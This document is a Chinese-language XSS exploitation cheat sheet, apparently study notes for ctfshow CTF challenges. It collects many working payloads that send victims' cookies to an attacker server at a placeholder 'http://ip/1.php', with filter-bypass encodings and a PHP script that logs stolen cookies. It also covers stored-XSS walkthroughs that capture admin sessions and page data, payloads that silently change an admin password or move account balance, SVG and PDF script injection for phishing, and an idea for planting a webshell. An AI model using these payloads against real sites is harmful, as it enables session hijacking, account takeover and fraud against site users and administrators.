利用:cookie盗取、凭据劫持、页面劫持、网络钓鱼、权限维持
常见拿cookie payload(基于服务器上的脚本用的url)
1
| <img src=x onerror=alert('1')>
|
1
| <script>location.href="http://ip/1.php?cookie="+document.cookie</script>
|
1
| <img src="" onerror=location.href="http://ip/1.php?cookie="+document.cookie>
|
1
| <body onload="location.href='http://ip/1.php?cookie='+document.cookie">
|
1
| <body onload="document.location.href='http://ip/1.php?cookie='+document.cookie"></body>
|
1
| <iframe onload="document.location='http://ip/?cookie='+document.cookie">
|
空格被过滤,可用用%09、%0a、/**/、/代替
1
| <body/onload=document.location='http://ip/1.php?cookie='+document.cookie;>
|
然后?被过滤,尝试用个花里胡哨的,字符转ascii
1 2 3 4 5 6 7 8 9 10 11
| input_str = input("请输入字符串: ") # 获取用户输入的字符串 ascii_list = [] # 遍历字符串,将每个字符转换为ASCII码,并添加到列表中 for char in input_str: ascii_code = ord(char) # 使用ord()函数获取字符的ASCII码 ascii_list.append(str(ascii_code)) # 将ASCII码转换为字符串并添加到列表 # 将列表中的ASCII码用逗号隔开,并打印结果 result = ','.join(ascii_list) print("转换后的ASCII码:", result)
|
比如输入payload:<script>document.location.href='http://ip/1.php?cookie='+document.cookie</script>会得到60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,105,112,47,49,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62然后构造最终的payload
1
| <body/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,105,112,47,49,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>
|
绕过姿势总结
打ctfshow练吧
反射型
鸡肋,直接插代码,没有持久化
利用
先在服务器上写个接收cookie的文件
1 2 3 4 5 6 7
| <?php $cookie = $_GET['cookie']; $time = date('Y-m-d h:i:s', time()); $log = fopen("cookie.txt", "a"); fwrite($log,$time.': '. $cookie . "\n"); fclose($log); ?>
|
然后再靶机上插代码
1
| <script>location.href="url?cookie="+document.cookie</script>
|
然后会生成写有获取到的cookie的文件


里面是flag
存储型
cookie不会立即失效
例题 ctfshow328
先注册,账号密码都填payload省事
1
| <script>window.location.href='http://ip/1.php?cookie='+document.cookie</script>
|
然后再去登录,当系统管理查看登录信息的时候,就能抓到他的cookie

然后查看用户管理,抓包替换cookie

cookie会立即失效,可尝试外带页面数据
那就不抓cookie,抓页面数据,当管理员查看的时候,就会触发payload然后将页面数据外带出来
主要是找flag,所以直接检查那一栏的名称为laytable-cell-1-0-1然后限制其中一个元素的 innerHTML 以 ctfshow{ 开头构造payload
1
| <script> $('.laytable-cell-1-0-1').each(function(index,value){ if(value.innerHTML.indexOf('ctfshow{')==0){ window.location.href='http://ip/1.php?cookie='+value.innerHTML; } }); </script>
|
然后重复上面的步骤,点击用户管理,然后服务器上就看到了flag

修改数据
get型
多了个修改密码的页面是/change.php,尝试修改密码,发现url变为:/api/change.php?p=123
那就借此构造payload
1
| <script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
|
然后注册再登录,然后用管理员尝试登录:admin:123
成功,然后抓包看数据(否则会跳转到http://127.0.0.1/api/change.php?p=123)

post型
改管理员密码
1
| <script>$.ajax({url:'/api/change.php',type:'post',data:{p:'123'}});</script>
|
改余额数据(让管理员给自己发)
1
| <script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'lan1oc',a:'10000'}});</script>
|
DOM型
玩法
文件上传配合svg(网站要支持上传svg图片)
把xss payload写到svg文件中,例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <svg width="400" height="300" viewBox="0 0 400 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script>alert(1)</script> <!-- 渐变背景 --> <defs> <linearGradient id="bgGradient" x1="0%" y1="0%" x2="100%" y2="100%"> <stop offset="0%" style="stop-color:#87CEEB;stop-opacity:1" /> <stop offset="100%" style="stop-color:#4682B4;stop-opacity:1" /> </linearGradient> </defs> <!-- 背景矩形 --> <rect width="100%" height="100%" fill="url(#bgGradient)"/> <!-- 红色圆形 --> <circle cx="100" cy="150" r="50" fill="#FF6B6B" stroke="#FF0000" stroke-width="2"/> <!-- 蓝色矩形 --> <rect x="200" y="100" width="120" height="80" fill="#4ECDC4" rx="15" ry="15"/> <!-- 路径三角形 --> <path d="M 300 50 L 350 150 L 250 150 Z" fill="#FFE66D"/> <!-- 旋转文字 --> <text x="50" y="50" font-family="Arial" font-size="20" fill="white"> <animateTransform attributeName="transform" type="rotate" from="0 50 50" to="360 50 50" dur="5s" repeatCount="indefinite"/> Hello SVG! </text> <!-- 虚线连接线 --> <line x1="100" y1="150" x2="200" y2="140" stroke="white" stroke-width="2" stroke-dasharray="5,5"/> </svg>
|
pdf(钓鱼可用)
用pdf编辑器搞,加入js代码
swf
利用思路:
1.配合上传搞
2.找目标的swf文件然后下载下来,反编译找触发点
一般找
1
| ExternalInterface.call(this.jsobject + ".initflash");
|
思路拓展
白盒
熟悉框架的话,就可以构造js写shell,比如是个后台网站,当管理员访问登录日志,就会执行js,然后写入shell文件
以小皮面板为例